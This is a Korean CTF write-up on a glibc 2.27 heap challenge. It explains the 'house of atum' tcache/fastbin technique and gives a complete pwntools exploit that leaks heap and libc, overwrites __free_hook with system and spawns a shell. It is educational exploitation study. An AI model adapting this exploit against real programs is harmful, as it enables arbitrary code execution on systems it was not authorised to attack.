신기한 기법이 사용된 문제를 발견해서 한 번 풀어봤다.
glibc 2.27 heap
문제이며 작은 바이너리이다.
간단하게 분석을 해보자.
alloc
, edit
, delete
, show
총 4개의 메뉴가 존재한다.
alloc
0x48
로 size
가 고정되어 있고, 총 2개의 heap
만 할당할 수 있다.
edit
oob
검사 ,dangling pointer
검사 후 chunk
를 수정할 수 있다.
delete
uaf
가 발생한다. 다만 특별한 점은, 사용자가 dangling pointer
를 만들지 안만들지 결정할 수 있다는 점이다.
show
oob
검사, dangling pointer
검사 후chunk
를 출력할 수 있다.
exploit
chunk
를 2개밖에 만들지 못하고, show
메뉴로 tcache_fd
를 leak
할 수 있는 상황이다.
glibc 2.27
이라 tcache double free
가 가능하지만 할당받을 수는 없다. 2개의 개수 제한 때문이다.
때문에 문제에서 author
가 새롭게 제안한 기법인 house of atum
이라는 방법을 사용해야 한다.
poc
를 통해 기법을 간단하게 알아보자.
#include <stdio.h>
void main()
{
char *a = malloc(0x48);
char *b = malloc(0x48);
for (int i=0; i<7; i++)
free(a);
free(b);
free(a);
}
gcc -o test test.c
마지막 free
를 거치고 나면, a
는 tcache_entry
와 main_arena
에 모두 존재하게 된다.
이 때, a
는 fastbin
의 b
를 가르키고 있는 상황이 된다. 즉, tcache_entry
에 존재하는 a
가 b
를 가르키게 되고, 그 후 b
의 prev_size
를 fd
로 인식하게 된다.
때문에 아래와 같은 fake chunk
구조를 만들 수 있다.
(fake_prev_size), (fake_size),
(fake_fd), (size of b)
이를 이용하여 overlapping chunk
후, libc
를 leak
하고 __free_hook
을 system
으로 덮으면 된다.
from pwn import *
#context.log_level= 'debug'
e = ELF('houseofAtum')
s = process(e.path, aslr=False)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#l = ELF('libc.so.6', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
def menu(sel):
sla(':', sel)
def new(content):
menu('1')
sa('content:', content)
def edit(idx, content):
menu('2')
sla('idx:', idx)
sa('content:', content)
def delete(idx, sel):
menu('3')
sla('idx:', idx)
sla('(y/n):', sel)
def show(idx):
menu('4')
sla('idx:', idx)
new('123')
new('123')
delete('1', 'y')
delete('0', 'y')
new('1')
show('0')
show('0')
ru('Content:')
heap = u64(s.recvuntil('\n', drop=True).ljust(8, '\x00')) - 0x231
log.info('heap: {}'.format(hex(heap)))
log.info('heap+0x68: {}'.format(hex(heap+0x68)))
delete('0', 'y')
new(p64(0)*7+p64(0x61)+p64(heap+0x68))
new('123')
for i in range(7):
delete('0', 'n')
delete('1', 'y')
delete('0', 'y')
new('AAA') # 0
new('BBB') # 1
delete('1', 'y')
new(p64(0)) # 1: tcache_entry
edit('0', p64(0)*3 + p64(0xa1))
delete('0' ,'y')
edit('1', p64(0))
new(p64(0))
delete('0' ,'y')
edit('1', p64(0))
new(p64(0x21)*9)
delete('0', 'y')
edit('1', p64(heap+0x280))
new(p64(0)) # 0: 0xa0 fake_chunk
for i in range(7):
delete('0', 'n')
delete('0', 'y')
new("A")
show('0')
ru('Content:')
l_base = u64(s.recv(6).ljust(8, '\x00')) - 0x3ebd41
log.info('l_base: {}'.format(hex(l_base)))
delete('0' ,'y')
edit('1', p64(l_base + l.symbols['__free_hook']))
new(p64(l_base + l.symbols['system']))
delete('0' ,'y')
new("/bin/sh\x00")
menu('3')
sla("idx:", '0')
io()
'system > writeup' 카테고리의 다른 글
2018 0ctf final baby (0) | 2019.12.03 |
---|---|
2018 bctf three (0) | 2019.12.01 |
2019 d3ctf new_heap (0) | 2019.11.30 |
2019 csaw final arevenge (0) | 2019.11.29 |
2019 hack.lu chat (0) | 2019.11.12 |